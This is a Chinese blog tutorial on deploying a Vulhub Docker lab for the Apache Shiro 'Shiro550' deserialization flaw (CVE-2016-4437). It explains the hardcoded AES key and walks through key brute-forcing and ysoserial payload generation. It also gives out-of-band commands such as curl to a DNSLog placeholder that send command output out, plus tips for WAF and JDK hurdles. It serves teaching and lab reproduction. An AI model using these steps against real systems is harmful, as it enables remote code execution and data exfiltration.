news 2026/6/18 11:22:42

10分钟Docker部署Shiro550漏洞靶场:从原理到实战利用

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
10分钟Docker部署Shiro550漏洞靶场:从原理到实战利用

1. 项目概述与核心价值

最近在整理内部安全演练的靶场环境,Shiro550这个“老熟人”又被我翻了出来。说它老,是因为这个基于Apache Shiro框架的反序列化漏洞(CVE-2016-4437)从2016年曝光至今,依然是企业安全测试和红蓝对抗中的高频考点。说它熟,是因为其利用链清晰、影响范围广,几乎成了Web安全入门必刷的漏洞之一。但很多朋友在初次复现时,往往卡在环境搭建这一步——本地配Java环境、下载特定版本的Shiro、编译打包war包,一套流程下来,半天时间就没了,还容易因为版本兼容性问题导致漏洞触发失败。

这正是我这次想分享的核心:如何用Docker和Vulhub,在10分钟内搭建一个稳定、可复现的Shiro550漏洞环境,并完成从漏洞检测到命令执行的全流程验证。这个方法最大的优势在于“开箱即用”和“环境隔离”。你不需要关心底层Java版本、Shiro的依赖库,甚至不需要一台纯净的Linux服务器;只要你手头有一台能运行Docker的电脑(Windows/macOS/Linux均可),就能快速拥有一个包含漏洞的、完整的Web应用靶场。对于安全研究员、渗透测试工程师,甚至是开发人员想了解自身项目风险,这套方法都能极大地提升效率。

整个流程,我会拆解为四个核心部分:首先是Docker与Vulhub靶场环境的快速部署,这是所有复现工作的基石;接着深入Shiro550漏洞的原理,理解为什么“记住我(RememberMe)”这个功能会成为突破口;然后,我们会使用两款主流的工具(shiro_attack和ysoserial)进行漏洞的检测与利用;最后,我会分享几个实战中踩过的坑和排查技巧,比如密钥的碰撞、DNSLog的灵活使用以及高版本JDK下的利用限制。目标很简单:让你不仅能“照做”,更能“看懂”,下次遇到类似问题能自己举一反三。

2. 环境准备:Docker与Vulhub靶场部署

2.1 Docker环境安装与基础配置

工欲善其事,必先利其器。我们所有操作都基于Docker,因此第一步是确保你的机器上安装了Docker Engine。这里以最常见的Ubuntu 20.04 LTS系统为例,其他系统(如CentOS、Windows Docker Desktop)的安装思路类似,主要是包管理工具和安装命令的差异。

安装Docker CE(社区版):Docker官方提供了非常便捷的安装脚本,但为了稳定性和可控性,我通常推荐使用APT仓库安装。

# 1. 更新apt包索引并安装必要的依赖 sudo apt-get update sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common # 2. 添加Docker官方GPG密钥和稳定版仓库 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" # 3. 再次更新并安装Docker CE sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io # 4. 验证安装,运行hello-world镜像 sudo docker run hello-world

如果看到“Hello from Docker!”的输出,说明Docker引擎安装成功并可以正常运行容器。

注意:为了避免每次执行docker命令都需要sudo,可以将当前用户加入docker用户组。执行sudo usermod -aG docker $USER后,需要注销并重新登录系统,或者新开一个终端会话,该设置才会生效。这是一个重要的安全与便捷性平衡点。

配置Docker镜像加速器:由于Docker Hub的服务器在国外,直接拉取镜像速度可能很慢甚至失败。配置国内镜像加速器是必做操作。这里以阿里云镜像加速器为例(需要注册阿里云账号获取专属加速地址)。

# 编辑或创建Docker守护进程配置文件 sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": ["https://your_mirror.mirror.aliyuncs.com"] } EOF # 重新加载配置并重启Docker服务 sudo systemctl daemon-reload sudo systemctl restart docker

替换your_mirror.mirror.aliyuncs.com为你从阿里云容器镜像服务控制台获取的专属加速器地址。配置完成后,使用docker info命令,在输出末尾如果能看到你配置的镜像地址,说明加速器已生效。

2.2 Vulhub靶场部署与漏洞环境启动

Vulhub是一个基于Docker-Compose的预构建漏洞环境集合,它为我们提供了上百个漏洞的“一键式”复现环境,Shiro550就在其中。它的工作方式是,每个漏洞目录下都有一个docker-compose.yml文件,定义了运行该漏洞应用所需的所有服务(如Web服务器、数据库等)及其配置。

获取Vulhub项目:直接从GitHub克隆是最简单的方式。

# 使用git克隆项目到本地,如果网速慢,可以考虑使用Gitee的镜像 git clone https://github.com/vulhub/vulhub.git cd vulhub

进入vulhub目录后,你会看到按漏洞类型或组件分类的众多子目录。

定位并启动Shiro550环境:Shiro550的环境位于shiro目录下的CVE-2016-4437子目录中。

# 进入Shiro550漏洞目录 cd shiro/CVE-2016-4437 # 使用docker-compose拉取镜像并启动环境 sudo docker-compose up -d

执行docker-compose up -d命令后,Docker会执行以下操作:

  1. 读取当前目录下的docker-compose.yml文件。
  2. 从配置的镜像仓库(默认为Docker Hub)拉取vulhub/shiro:1.2.4这个预先构建好的漏洞镜像。
  3. 根据配置,将容器内部的8080端口映射到宿主机的8080端口。
  4. 以后台(-d参数)模式启动容器。

验证环境:启动完成后,使用docker-compose ps命令可以查看容器状态,应该显示为Up。此时,在浏览器中访问http://your_server_ip:8080(本地环境可访问http://127.0.0.1:8080),如果能看到一个简单的登录页面(通常有Apache Shiro的标识),说明漏洞环境已经成功运行。

实操心得:第一次启动时,因为要拉取镜像,速度取决于你的网络。如果长时间卡住,请务必检查上一步的镜像加速器是否配置正确。另外,docker-compose命令可能需要单独安装(sudo apt install docker-compose),但在较新版本的Docker Desktop或Docker Engine中,docker compose(没有横杠)作为插件已内置,两者功能等效,可以尝试使用docker compose up -d

3. 漏洞原理深度解析:为什么RememberMe是突破口

在开始利用之前,我们必须搞清楚Shiro550到底是怎么回事。知其然更要知其所以然,这能帮助你在工具失效时,自己分析问题所在。

Apache Shiro是一个强大的Java安全框架,提供了认证、授权、加密和会话管理等功能。其中,“记住我(RememberMe)”是一个非常用户友好的特性:用户登录一次后,即使关闭浏览器再打开,也无需重新输入密码即可保持登录状态。这个功能的实现,就依赖于一个名为rememberMe的Cookie。

漏洞产生的核心链条:

  1. 序列化与加密:当用户勾选“记住我”并成功登录后,Shiro会将用户的身份信息(Principal)序列化成Java对象,然后使用一个固定的、硬编码的AES加密密钥(在Shiro 1.2.4及之前版本中,密钥是kPH+bIxk5D2deZiIxcaaaA==)对这个序列化后的字节流进行AES-CBC加密,最后做Base64编码,存入rememberMeCookie,发送给浏览器。
  2. 反序列化与解密:当用户再次访问网站时,浏览器会携带这个Cookie。Shiro服务端收到后,会对其进行Base64解码、AES解密,然后将解密后的字节流进行反序列化,还原成Java对象,从而恢复用户的登录状态。
  3. 致命缺陷:这里存在两个致命问题。第一,默认密钥是硬编码的,且公开可查。攻击者如果知道了密钥,就能伪造任意的rememberMeCookie。第二,Shiro在反序列化前,没有对解密后的数据做任何白名单或安全校验。这意味着,攻击者可以构造一个恶意的序列化数据(包含能够执行任意代码的“利用链”,即Gadget Chain),用已知的密钥加密后发送给服务器。服务器会忠实地解密并反序列化这个恶意数据,从而触发远程代码执行(RCE)。

为什么叫Shiro550?这个编号来源于漏洞作者(phith0n)在知识库(wiki)中给予的临时编号,后来被社区广泛接受并沿用下来,成为了这个漏洞的代称。

核心要点:整个漏洞利用的前提是获取到目标Shiro使用的AES密钥。由于早期版本使用默认密钥,因此存在大量通用性攻击。后续版本虽然允许开发者自定义密钥,但很多开发人员并未修改,或者使用了弱密钥,导致漏洞依然广泛存在。我们的复现环境,使用的正是存在硬编码默认密钥的Shiro 1.2.4版本。

4. 漏洞检测与利用实战

环境就绪,原理清晰,接下来就是实战环节。我们将分两步走:先检测漏洞是否存在以及获取密钥,再利用获取到的密钥执行命令。

4.1 漏洞检测与密钥碰撞

在真正投递利用载荷之前,我们需要确认目标是否存在Shiro框架,以及其使用的AES密钥是什么。这里我推荐使用shiro_attack这款工具,它集成了检测、密钥爆破、利用于一体,图形化界面操作起来非常方便。

工具准备:你可以从GitHub发布页下载shiro_attack的jar包。确保你的机器安装了Java运行环境(JRE 8或以上)。

# 示例:运行工具(假设jar包名为shiro_attack-2.2.jar) java -jar shiro_attack-2.2.jar

检测流程:

  1. 目标设置:在工具界面输入目标URL,例如http://192.168.1.100:8080。端口号一定要正确。
  2. 发送检测请求:点击“检测”或类似按钮。工具会向目标发送一个特殊的请求,通过分析响应头中是否包含rememberMe=deleteMe字段来判断Shiro框架的存在。这是因为Shiro在遇到无效或过期的RememberMe Cookie时,会尝试删除它,并在响应头中设置此字段。这是一个非常可靠的指纹特征。
  3. 密钥爆破(碰撞):如果检测到Shiro,下一步就是爆破密钥。工具内置了一个常见的密钥字典(包含默认密钥kPH+bIxk5D2deZiIxcaaaA==以及许多其他常见弱密钥)。点击“爆破密钥”或“开始检测”,工具会使用字典中的每个密钥,尝试加密一个固定的序列化数据,并将其作为Cookie发送。如果服务器返回的响应与使用错误密钥时的响应不同(例如没有返回deleteMe,或者状态码、响应体长度发生变化),则说明当前尝试的密钥很可能是正确的。
  4. 结果判断:爆破成功后,工具会列出所有可能的密钥。在我们的Vulhub环境中,应该会成功爆出kPH+bIxk5D2deZiIxcaaaA==

注意事项:密钥爆破的成功率取决于你的字典质量。在实际渗透测试中,如果内置字典无效,可能需要结合信息收集(如源码泄露、配置文件泄露)来扩充字典。此外,高频的爆破请求可能会触发目标系统的WAF或风控规则,需要调整请求间隔或使用代理。

4.2 构造利用载荷与命令执行

拿到密钥后,我们就可以构造恶意的反序列化载荷了。Java反序列化漏洞的利用依赖于一条能够从ObjectInputStream.readObject()方法触发到最终危险操作(如执行命令)的调用链。最经典的通用链之一就是CommonsCollections链(CC链)。

利用工具链:我们将使用ysoserial这个神器来生成CC链的Payload,并结合shiro_attack或BurpSuite进行投递。

  1. 生成Payload:ysoserial是一个Java反序列化利用框架,需要自行编译或下载release的jar包。假设我们想执行命令touch /tmp/success(在/tmp目录下创建一个名为success的文件,作为命令执行成功的标志)。

    # 使用ysoserial生成CommonsCollections2链的Payload,命令为`touch /tmp/success` java -jar ysoserial.jar CommonsCollections2 "touch /tmp/success" > payload.ser

    这条命令会生成一个包含恶意序列化对象的二进制文件payload.ser

  2. 加密与投递:生成了Payload,我们需要用之前获取到的AES密钥对其进行加密和Base64编码,然后将其作为rememberMeCookie的值发送。方法一:使用shiro_attack工具。在密钥爆破成功的界面,通常会有“利用”或“执行命令”的选项卡。你只需要输入正确的密钥和要执行的命令(如touch /tmp/success),选择对应的利用链(如CommonsCollections2),工具会自动完成Payload生成、加密、编码和发送的全过程。这是最便捷的方式。方法二:手动使用Python脚本。如果你想更深入地理解过程,可以编写或使用现成的Python脚本。核心步骤是:读取payload.ser-> 用AES-CBC模式加密(密钥和IV) -> Base64编码 -> 构造HTTP请求并设置Cookie。网上有很多这样的PoC脚本可供参考。

  3. 验证执行结果:发送Payload后,如何验证命令是否执行成功?

    • 对于Vulhub靶场:我们可以直接进入运行靶场的Docker容器内部查看。
      # 首先查看运行中的容器ID sudo docker ps # 假设容器ID是 abc123,进入容器的shell sudo docker exec -it abc123 /bin/bash # 进入容器后,检查文件是否创建成功 ls -la /tmp/success
      如果看到/tmp/success这个文件,恭喜你,漏洞利用成功!
    • 对于真实环境:通常无法直接登录服务器查看。这时就需要使用带外(OOB)通信技术,如DNSLog、HTTPLog来接收命令执行的回显。例如,执行命令curl http://your-dnslog-domain/$(whoami),通过查看DNSLog平台是否有来自目标服务器的解析记录,来间接判断命令执行和获取输出。

5. 进阶利用技巧与深度排查指南

掌握了基础利用后,我们来看看实战中可能遇到的复杂情况以及如何应对。

5.1 密钥的获取与拓展

如果内置字典爆破失败,怎么办?

  1. 信息收集:仔细搜集目标资产。检查GitHub、GitLab等代码托管平台是否有目标源码泄露,在源码中搜索cipherKeysetCipherKey等关键字。检查网站备份文件、配置文件(如shiro.ini,application.yml,application.properties)。
  2. 密钥特征:Shiro的AES密钥是Base64编码的,原始长度通常是16字节(128位)、24字节(192位)或32字节(256位)。爆破时可以针对这个特征生成字典。
  3. 利用其他漏洞:如果存在任意文件读取、目录遍历等漏洞,可以尝试读取Web应用目录下的配置文件。

5.2 利用链的选择与兼容性

并非所有CC链都能通杀。不同版本的Shiro所依赖的第三方库(如Commons-Collections)版本不同,服务器JDK版本也不同,这会影响利用链的成功率。

  • 常见链与适用环境:
    • CommonsCollections1: 适用于Commons-Collections 3.1版本,在JDK 8u71以下版本中较稳定。
    • CommonsCollections2: 使用了TemplatesImpl,对CC库版本要求较宽(3.2.1, 4.0),但在高版本JDK(>=8u76)下可能因SecurityManager或模块化限制失效。
    • CommonsCollections3/4/5/6/7: 是CC1链的各种变体,用于绕过某些限制。
    • CommonsBeanutils1/2: 不依赖CC库,依赖BeanUtils,在某些环境中是CC链的良好替代。
  • 策略:在工具中依次尝试不同的链。shiro_attack等工具通常会按成功率自动排序尝试。手动测试时,可以优先尝试CC2、CB1链。

5.3 无回显命令执行与OOB利用

在高安全环境下,命令执行可能没有直接回显(页面无变化)。此时必须借助外部通道。

  1. DNSLog:这是最常用的方式。平台如ceye.io,dnslog.cn提供临时域名。执行命令如ping -c 1whoami.your-domain.dnslog.cn。命令执行时,whoami的结果会作为子域名的一部分发起DNS查询,你在平台就能看到解析记录和子域名信息,从而获取命令输出。
  2. HTTPLog:类似DNSLog,执行curl http://your-http-log-server/?cmd=whoami``,通过HTTP请求将结果带出。
  3. 延时注入:通过命令执行sleep 5,然后观察请求响应时间是否有明显延迟,来判断命令是否执行。这种方式比较隐蔽,但无法获取输出。

5.4 常见问题排查实录

在复现过程中,你可能会遇到以下问题,这里是我的排查思路:

问题1:工具检测到了Shiro,但密钥爆破始终失败。

  • 检查点1:确认目标URL和端口是否正确,服务是否正常运行。
  • 检查点2:使用BurpSuite拦截工具发送的爆破请求,观察Cookie的构造是否正确。手动使用Python脚本和默认密钥加密一个简单Payload发送,看响应是否不同。
  • 检查点3:目标可能使用了自定义的Cookie名称,而非默认的rememberMe。尝试信息收集或使用Burp扫描历史记录查找其他可疑Cookie。
  • 检查点4:目标Shiro版本可能较高,修复了漏洞(但Shiro550的修复方式是更换密钥,漏洞原理本身在开启RememberMe时仍存在,只是密钥未知)。

问题2:密钥爆破成功,但执行命令无反应(容器内未创建文件)。

  • 检查点1:JDK版本问题。这是最常见的原因。高版本JDK(如8u251以上)内置了更严格的反序列化过滤器,可能屏蔽了某些利用链。进入容器检查JDK版本:java -version。Vulhub的Shiro550镜像通常使用较旧的JDK,但你的实际环境可能不同。尝试更换利用链(如从CC2换成CB1)。
  • 检查点2:命令执行上下文权限问题。Web应用可能以低权限用户(如nobody,www-data)运行,没有在/tmp目录的写权限。尝试执行idwhoami命令查看权限,或换一个可写的目录,如/dev/shm
  • 检查点3:Payload生成问题。确保ysoserial的版本与目标环境兼容。尝试生成一个最简单的Payload,如执行echo test,并用DNSLog验证。

问题3:使用DNSLog接收不到请求。

  • 检查点1:目标服务器可能无法访问外网(无公网IP或出站流量被防火墙禁止)。
  • 检查点2:目标服务器禁用了pingcurlwget等命令。尝试使用其他方式,如nslookup(Windows)或dig(Linux),或者使用纯Java的OOB利用方式(需要更复杂的Payload)。
  • 检查点3:DNSLog平台域名可能被目标网络策略屏蔽。可以尝试搭建自己的DNSLog服务器。

问题4:Docker容器启动失败或端口冲突。

  • 检查点1:宿主机的8080端口可能已被其他程序占用。使用netstat -tulnp | grep 8080查看。可以在docker-compose.yml文件中修改端口映射,例如将8080:8080改为8081:8080,然后通过http://ip:8081访问。
  • 检查点2:镜像拉取失败。检查Docker服务状态和网络,确认镜像加速器配置正确。可以尝试手动拉取镜像:docker pull vulhub/shiro:1.2.4

整个复现过程,从环境搭建到成功执行命令,本质上是一次对漏洞原理、工具链和排查能力的综合演练。我建议你在自己的实验环境中多操作几遍,尝试更换不同的利用链、执行不同的命令、甚至尝试修改Vulhub环境中的Shiro版本或密钥,来加深理解。记住,在合规授权的前提下进行测试是唯一的原则,将这些知识用于加固你负责的系统,才是安全研究的最终价值。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/18 11:22:25

智能体设计模式:工具使用 Tool Use 让 Agent 从“会说”变成“会做”

大模型很聪明。 但默认情况下&#xff0c;它被关在文本世界里。 它不知道今天的库存。它不知道用户订单状态。它不能查数据库。也不能直接调用企业内部 API。 工具使用&#xff0c;就是把大模型接到真实系统上。 有了工具&#xff0c;Agent 不再只是回答问题。它可以查、可…

作者头像 李华
网站建设 2026/6/18 11:22:23

混元图像3.0:原生多模态自回归架构解析

1. 项目概述&#xff1a;为什么混元图像3.0不是又一个“跑分机器”&#xff0c;而是一次架构范式的迁移你有没有试过用当前主流的开源文生图模型&#xff0c;输入一句“穿靛蓝工装裤、站在锈蚀铁梯第三级、左手扶着泛黄老式搪瓷杯、背景是雨后梧桐叶滴水的上海弄堂口”——结果…

作者头像 李华
网站建设 2026/6/18 11:22:23

免费获取B站第三方推流码的终极指南:如何绕开直播姬限制

免费获取B站第三方推流码的终极指南&#xff1a;如何绕开直播姬限制 【免费下载链接】bilibili_live_stream_code 用于在准备直播时获取第三方推流码&#xff0c;以便可以绕开哔哩哔哩直播姬&#xff0c;直接在如OBS等软件中进行直播&#xff0c;软件同时提供定义直播分区和标题…

作者头像 李华
网站建设 2026/6/18 11:22:19

klogg终极安装配置指南:跨平台日志查看器快速上手

klogg终极安装配置指南&#xff1a;跨平台日志查看器快速上手 【免费下载链接】klogg Really fast log explorer based on glogg project 项目地址: https://gitcode.com/gh_mirrors/kl/klogg klogg是一款基于glogg项目的快速日志查看器&#xff0c;专为程序员和系统管理…

作者头像 李华
网站建设 2026/6/18 11:21:59

程序员AI量化理财体系课(价值2699元)

获课&#xff1a;97it.top/16729/在探讨量化交易的演进时&#xff0c;我始终认为&#xff0c;强化学习&#xff08;RL&#xff09;在微观市场结构与订单簿&#xff08;LOB&#xff09;分析中的应用&#xff0c;标志着交易策略从“静态规则拟合”向“动态博弈进化”的深刻范式转…

作者头像 李华